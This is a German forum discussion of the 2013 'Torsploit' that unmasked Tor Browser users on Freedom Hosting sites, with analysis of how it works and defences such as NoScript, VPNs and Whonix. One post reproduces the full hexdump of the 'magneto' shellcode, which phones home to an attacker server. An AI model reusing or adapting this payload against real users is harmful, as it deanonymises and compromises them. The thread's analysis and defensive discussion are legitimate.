VPN, TOR usw

[Trolling Stone]

Aber das funktioniert nur, wenn man selbst Javascript aktiviert hat, oder?
Hat man z.B. das Addon NoScript aktiv, dürfte das doch davor schützen, oder nicht?

 

[TheOnly1]

Interessant wie einfach das klingt und etwas beängstigend wie leicht sich Tor scheinbar aushebeln lässt.
Wobei im Torbundle NoScript afaik vorinstalliert ist. An sich dürfte sich so doch gar kein JS ausführen lassen - außer der User will es unbedingt.

Als weitere Maßnahmen schlagen die Entwickler vor, die eigene MAC-Adresse zufällig zu setzen,

Was soll das bringen? Die Macadresse lässt sich doch wohl kaum zurückverfolgen. Zuordnen ja, wenn man einen Vergleich hat, aber doch nicht zurückverfolgen.

eine Firewall zu aktivieren

Erscheint mir auch seltsam, immerhin müsste Tor/Vidalia bzw. Firefox doch sowie so Internet-Vollzugriff haben. Was soll da eine Firewall bringen, wenn eine Schwachstelle IM Browser ausgenutzt wird?

 

[p3Eq]

Ich habe mir nur einen Teil des Codes bisher angeguckt, aber ich kann schonmal sagen: Ohne JavaScript oder mit einem anderen Browser als Firefox 17 wird die eigentliche Schwachstelle nicht ausgenutzt.
Insgesamt werden mehrmals neue Seiten per iFrame geladen, worin erneut Code ausgeführt wird, bis man schließlich das "finale Script" erreicht, in dem der Exploit wohl ausgenutzt wird. Besonders den Teil habe ich mir aber bisher nicht großartig angeguckt, sondern nur überflogen. Was da also passiert, kann ich dir leider ebenfalls nicht auf die Schnelle beantworten.

Hier mal der Code: http://pastebin.mozilla.org/2777139
Und der Exploit-Report: https://bugzilla.mozilla.org/show_bug.cgi?id=901365

 

[nik]

@Trolling Stone genau, vorausgesetzt, das entsprechende Script wurde durch NoScript geblockt.

 

[Trolling Stone]

@TheOnly1: NoScript ist zwar vorinstalliert, aber nicht per default aktiviert. Das muss man selbst machen.

 

[TheOnly1]

Das ist natürlich sehr clever von den Entwicklern...

 

[nik]

Ist eben die Grätsche zwischen Sicherheit und Komfort.

NoScript ist nicht komplett deaktiviert, sondern es werden "nur" nicht alle Scripte von vornherein geblockt.

 

[TheOnly1]

Hier mal der Code: http://pastebin.mozilla.org/2777139

Ich habe jetzt mal versucht da ein bisschen reinzugucken.
Soweit ich das verstehe hebelt das nur den Proxy im Browser aus und ruft sich selbst dann auf um die reale IP zu kriegen.

Das hieße allerdings, dass quasi nur der Browser-Proxy umgangen wird. Ließe man Tor/Vidalia nun zB nur über eine VPN-Verbindung verbinden, dann würde die VPN-IP übermittelt werden. Zumindest ist das meine Theorie als Halblaie. Wäre halt nur interessant zu wissen für die Zukunft, ob es Sinn macht zum Tornetzwerk via VPN zu verbinden. Wer weiß nämlich wofür die nächste Lücke genutzt wird. Jetzt ist es KiPo...und beim nächsten Mal?

 

[nik]

Wenn Sie deine Anonymität nicht umgehen, schieben sie dir eben auf diese Art und Weise den Staatstrojaner oder andere Software unter.

Da bringt dann auch eine VPN-Verbindung nicht mehr viel.

 

[TheOnly1]

Ja gut...das kann natürlich unabhängig davon durchaus passieren. Das ist klar.

 

[p3Eq]

@TheOnly1: Ich habe - wie gesagt - noch nicht den ganzen Code versucht zu analysieren, aber sofern sich das auf den ersten Teil des Codes bezieht: Das ist nur halb richtig. Tatsächlich wird per iFrame eine weitere Seite geladen, allerdings mit der Absicht, dort ebenfalls weitere Scripte laufen und laden zu lassen. Was man im Internet immer so liest, ist, dass der eigentliche Schadcode in der Funktion f steht (Zeile 589). Insbesondere die Magneto-Variable spielt eine entscheidene Rolle. Was genau da passiert, habe ich mir nicht angesehen. Die Proxy-Funktionalität lässt sich normalerweise nicht einfach durch das Laden von Inhalten in einem iFrame umgehen, da der Browser dein lokal laufendes Vidalia-Programm als Proxy nutzt. Das Programm kümmert sich dann vollständig um die Verbindung. Will dein Browser also was neues laden, so kommuniziert er mit Vidalia und dieses Programm lädt Internet-Inhalte nur aus dem TOR-Netzwerk.
Was da passiert, ist etwas anderes. Es wird eine Schwachstelle im Browser genutzt, um (a) den Tor-Proxy zu deaktivieren, oder (b) eine direkte Socket-Verbindung zum Angreifer-Server aufzubauen, ohne den Umweg über Vidalia zuzulassen, was dann natürlich zur Offenbarung der wahren IP führt. Da Gerüchten zufolge bei der Verbindung zum Angreifer-Server die MAC-Adresse übertragen wird (und man auch hört, theoretisch könnte ein noch viel schlimmerer Zugriff auf den PC erfolgen), gehe ich davon aus, dass (b) zutrifft, da sowieso schon Zugriff auf das System besteht.

Der Veröffentlicher des Codes hat den Code als Hex-Dump darstellen lassen:

Spoiler

/****************************************************************************
* This a hexdump of the shellcode block as "var magneto" in f() above.
*/
//  0000  60 fc e8 8a 00 00 00 60  89 e5 31 d2 64 8b 52 30  |`......`..1.d.R0|
//  0010  8b 52 0c 8b 52 14 8b 72  28 0f b7 4a 26 31 ff 31  |.R..R..r(..J&1.1|
//  0020  c0 ac 3c 61 7c 02 2c 20  c1 cf 0d 01 c7 e2 f0 52  |..<a|., .......R|
//  0030  57 8b 52 10 8b 42 3c 01  d0 8b 40 78 85 c0 74 4a  |W.R..B<...@x..tJ|
//  0040  01 d0 50 8b 48 18 8b 58  20 01 d3 e3 3c 49 8b 34  |..P.H..X ...<I.4|
//  0050  8b 01 d6 31 ff 31 c0 ac  c1 cf 0d 01 c7 38 e0 75  |...1.1.......8.u|
//  0060  f4 03 7d f8 3b 7d 24 75  e2 58 8b 58 24 01 d3 66  |..}.;}$u.X.X$..f|
//  0070  8b 0c 4b 8b 58 1c 01 d3  8b 04 8b 01 d0 89 44 24  |..K.X.........D$|
//  0080  24 5b 5b 61 59 5a 51 ff  e0 58 5f 5a 8b 12 eb 86  |$[[aYZQ..X_Z....|
//  0090  05 5d 81 bd e9 02 00 00  47 45 54 20 75 70 8d 85  |.]......GET up..|
//  00a0  d1 02 00 00 50 68 4c 77  26 07 ff d5 85 c0 74 5e  |....PhLw&.....t^|
//  00b0  8d 85 d8 02 00 00 50 68  4c 77 26 07 ff d5 85 c0  |......PhLw&.....|
//  00c0  74 4c bb 90 01 00 00 29  dc 54 53 68 29 80 6b 00  |tL.....).TSh).k.|
//  00d0  ff d5 01 dc 85 c0 75 36  50 50 50 50 40 50 40 50  |......u6PPPP@P@P|
//  00e0  68 ea 0f df e0 ff d5 31  db f7 d3 39 c3 74 1f 89  |h......1...9.t..|
//  00f0  c3 6a 10 8d b5 e1 02 00  00 56 53 68 99 a5 74 61  |.j.......VSh..ta|
//  0100  ff d5 85 c0 74 1f fe 8d  89 00 00 00 75 e3 80 bd  |....t.......u...|
//  0110  4f 02 00 00 01 74 07 e8  3b 01 00 00 eb 05 e8 4d  |O....t..;......M|
//  0120  01 00 00 ff e7 b8 00 01  00 00 29 c4 89 e2 52 50  |..........)...RP|
//  0130  52 68 b6 49 de 01 ff d5  5f 81 c4 00 01 00 00 85  |Rh.I...._.......|
//  0140  c0 0f 85 f2 00 00 00 57  e8 f9 00 00 00 5e 89 ca  |.......W.....^..|
//  0150  8d bd e9 02 00 00 e8 eb  00 00 00 4f 83 fa 20 7c  |...........O.. ||
//  0160  05 ba 20 00 00 00 89 d1  56 f3 a4 b9 0d 00 00 00  |.. .....V.......|
//  0170  8d b5 c4 02 00 00 f3 a4  89 bd 4b 02 00 00 5e 56  |..........K...^V|
//  0180  68 a9 28 34 80 ff d5 85  c0 0f 84 aa 00 00 00 66  |h.(4...........f|
//  0190  8b 48 0a 66 83 f9 04 0f  82 9c 00 00 00 8d 40 0c  |.H.f..........@.|
//  01a0  8b 00 8b 08 8b 09 b8 00  01 00 00 50 89 e7 29 c4  |...........P..).|
//  01b0  89 e6 57 56 51 51 68 48  72 d2 b8 ff d5 85 c0 81  |..WVQQhHr.......|
//  01c0  c4 04 01 00 00 0f b7 0f  83 f9 06 72 6c b9 06 00  |...........rl...|
//  01d0  00 00 b8 10 00 00 00 29  c4 89 e7 89 ca d1 e2 50  |.......).......P|
//  01e0  52 31 d2 8a 16 88 d0 24  f0 c0 e8 04 3c 09 77 04  |R1.....$....<.w.|
//  01f0  04 30 eb 02 04 37 88 07  47 88 d0 24 0f 3c 09 77  |.0...7..G..$.<.w|
//  0200  04 04 30 eb 02 04 37 88  07 47 46 e2 d4 59 29 cf  |..0...7..GF..Y).|
//  0210  89 fe 58 01 c4 8b bd 4b  02 00 00 f3 a4 c6 85 4f  |..X....K.......O|
//  0220  02 00 00 01 e8 2e 00 00  00 31 c0 50 51 29 cf 4f  |.........1.PQ).O|
//  0230  57 53 68 c2 eb 38 5f ff  d5 53 68 75 6e 4d 61 ff  |WSh..8_..ShunMa.|
//  0240  d5 e9 c8 fe ff ff 31 c9  f7 d1 31 c0 f2 ae f7 d1  |......1...1.....|
//  0250  49 c3 00 00 00 00 00 8d  bd e9 02 00 00 e8 e4 ff  |I...............|
//  0260  ff ff 4f b9 4f 00 00 00  8d b5 75 02 00 00 f3 a4  |..O.O.....u.....|
//  0270  8d bd e9 02 00 00 e8 cb  ff ff ff c3 0d 0a 43 6f  |..............Co|
//  0280  6e 6e 65 63 74 69 6f 6e  3a 20 6b 65 65 70 2d 61  |nnection: keep-a|
//  0290  6c 69 76 65 0d 0a 41 63  63 65 70 74 3a 20 2a 2f  |live..Accept: */|
//  02a0  2a 0d 0a 41 63 63 65 70  74 2d 45 6e 63 6f 64 69  |*..Accept-Encodi|
//  02b0  6e 67 3a 20 67 7a 69 70  0d 0a 0d 0a 00 83 c7 0e  |ng: gzip........|
//  02c0  31 c9 f7 d1 31 c0 f3 ae  4f ff e7 0d 0a 43 6f 6f  |1...1...O....Coo|
//  02d0  6b 69 65 3a 20 49 44 3d  77 73 32 5f 33 32 00 49  |kie: ID=ws2_32.I|
//  02e0  50 48 4c 50 41 50 49 00  02 00 00 50 41 de ca 36  |PHLPAPI....PA..6|
//  02f0  47 45 54 20 2f 30 35 63  65 61 34 64 65 2d 39 35  |GET /05cea4de-95|
//  0300  31 64 2d 34 30 33 37 2d  62 66 38 66 2d 66 36 39  |1d-4037-bf8f-f69|
//  0310  30 35 35 62 32 37 39 62  62 20 48 54 54 50 2f 31  |055b279bb HTTP/1|
//  0320  2e 31 0d 0a 48 6f 73 74  3a 20 00 00 00 00 00 00  |.1..Host: ......|
//  0330  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
//  *
//  03b0  00 00 00 00 00 00 00 00  00 00 00 90              |............|
//  03bc

 

[xa.fr]

Wurden da wirklich nur Windows-Nutzer "ausspioniert"?

Mit Linux, Vpn vor Tor und deaktiviertem Javascript passiert scheinbar ja überhaupt nichts.

 

[TheOnly1]

Finde die ganze Geschichte in der Tat von der technischen Seite her sehr spannend muss ich gestehen.

@xa.fr:
So wie ich das verstehe passiert mit deaktiviertem JS eh nix, egal ob Windows oder Linux. Mit der VPN-Geschichte bin ich mir noch nicht sicher, ich bezweifel irgendwie das ein JS-Code eine direkte Verbindung zu einem Server aufbauen kann, ohne dass dieser Traffic durch das VPN des kompromittierten Systems muss. An Tor vorbei ja, am VPN vorbei eher nicht. Ist zumindest meine aktuelle Einschätzung.

Nach meinem Wissenstand müssten Socket-Verbindungen nämlich auch über das VPN laufen per default, zB bei OpenVPN. Oder täusche ich mich da?

Edit:
Die ausgenutzte Schwachstelle wurde übrigens schon am 26.6. rausgepatched mit Version 2.3.25-10 des Bundles.

Aber neue Lücken wird es geben, von daher wären generelle Gegenmaßnahmen schon interessant.

 

[p3Eq]

Mit dem VPN hast du Recht. Sofern eine VPN-Verbindung aktiv ist, gilt diese für den gesamten Netzwerkverkehr.

 

[TheOnly1]

Gut...dann gehe ich in Zukunft sicherheitshalber dazu über Tor nur noch über VPN laufen zu lassen.
Schadet so gesehen ja nichts und sicher ist sicher.

 

[darkside40]

Also ich habe ca. 10 Exit Nodes konfiguriert. Sicher ist es so das ich damit ein bisschen weniger anonym bin wenn ich ins Clearnet gehe, das ist mir allerdings lieber als wenn irgendein kompromittierter Exit Node Logins bei Diensten mitliest die leider kein SSL unterstützen.

Zu der Sache mit dem Exploit auf Freedom Hosting Seiten muss man sagen wer sich den eingefangen hat ist selbst schuld.
Anonymität lässt sich nur mit fundiertem Wissen erreichen. Sicherlich dient Tor auch vielen guten Zielen, bloss ein großer Teil des Darknets Tor dient illegalen Geschäften und leider ist es auch ein Sammelbeckern für gelegenheits Pedo's. Durch entsprechende Webseiten und das einfach einzurichtende Tor Browser Bundle wiegen diese sich in falscher Sicherheit und wenn nun ein paar davon geschnappt werden weil Sie zu blöd waren NoScript im Tor Browser Bundle entsprechend zu konfigurieren dann haben Sie nunmal pech gehabt.

Sicherlich ist im Fahrwasser des Prism Skandals die fragestellung Notwendig wozu diese Methoden genutzt werden wenn damit keine Pedo's identifiziert werden. Dissidenten, Whistleblower etc. lassen sich auf diese Weise natürlich auch schnell aufspüren.

Mir zeigt dieser Vorfall eigentlich 3 Dinge auf:
1. Man sollte das Tor Browser Bundle immer aktuelle halten
2. Man sollte nicht Windows in Verbindung mit Tor benutzen (denn dieser Exploit zielte den derzeitigen analysen nach nur auf Windows)
3. Wenn man wirklich anonym bleiben möchte dann sollte man nicht die eigene INet Leitung nutzen

 

[Mareacho]

Blog mit Fragen zur Analyse des #Torsploits und wem er zuzuordnen ist:
OSINT/security/malware-Blog http://blog.dynamoo.com/2013/08/torsploit-is-6522220253-nsa.html

allgemeiner Tor-Talk auf GNUnet: 4-Std Q+A Video vom 24.7.13, mit den Tor-Entwicklern Roger Dingledine +
Jacob Appelbaum in der TU-München,
u.a. zur Problematik, Tor-Browser für Windows zu entwickeln - Kampf gegen Windmühlen (~min 30ff)
Erfahrungen mit Ermittlungsbehörden andere, als mit Diensten (~min 40ff)
weiter zu Relays und Attacken (Std.2), Alternativ-ISPs, Mesh-Netzen, ect. ect.
https://gnunet.org/tor2013tum-video

 

[Kugelfisch]

Interessant wie einfach das klingt und etwas beängstigend wie leicht sich Tor scheinbar aushebeln lässt.

Über eine Zero-Day-Schwachstelle Schadcode auf dem lokalen System zur Ausführung zu bringen, ist keineswegs `leicht` - solche Schwachstellen und stabile Exploits dafür sind rar und (auf dem Schwarzmark) extrem wertvoll. Das ist ein Angriffspunkt, den Tor schlicht nicht vermeiden kann, denn Code, der mit Nutzerrechten auf dem lokalen System läuft, kann natürlich auch Verbindungen an Tor vorbei aufbauen und/oder sensible Daten ausspähen. Das Deaktivieren von JavaScript (NoScript ist wie erwähnt zwar im Tor-Browser-Bundle vorinstalliert, jedoch so konfiguriert, dass JS standardmässig auf allen Websites ausgeführt wird) hätte in diesem Fall die Ausnutzung der Schwachstelle verhindert, das muss jedoch nicht in jedem Fall so sein.

Ein zusätzlicher Schutz könnte eine VM bieten, die ausschliesslich über Tor (auf dem Hostsystem oder in einer weiteren VM) auf das Internet zugreifen kann. Hier müsste ein Angreifer nach einem erfolgreichen Angriff auf den Browser zusätzlich auch aus der VM ausbrechen, bevor er Tor umgehen oder sensible Daten auslesen könnte.

 

[darkside40]

Eine dementsprechende VM wie Kugelfisch Sie anspricht wäre übrigens Whonix.

Btw. war diese Lücke eigentlich eine echter Zero Day Exploit? Für mich war ein Zero Day Exploit immer eine unbekannte Schwachstelle die Bereits am Tag des Erscheinens eines Produktes ausgenutzt wurde.
Also diese Lücke hier genutzt wurde gab es allerdings scheinbar schon eine gegen diese Lücke gepatchte Version von Firefox und des Tor Browser Bundle.

 

[TheOnly1]

@Kugelfisch:
Das "leicht" bezog sich jetzt eher auf das Aushebeln des Schutzes an sich, sprich: Als User merkt man nix und man macht eigentlich keinen "Fehler" im Sinne von irgendwas runteladen, installieren, Rechte geben...usw...
Dass hinter diesem Exploit aus technischer Sicht ne Menge KnowHow steckt, kann man denke ich auch als totaler Laie zumindest schon erahnen.

Wie gesagt: Ich würde mich als interessierten Halblaien bezeichnen und ich bin von dem Code und der Durchführung der ganzen Sache sehr beeindruckt, allerdings auch etwas misstrauisch. KiPo ist irgendwie immer ein sehr gefährliches Totschlag-Argument bei solchen Sachen...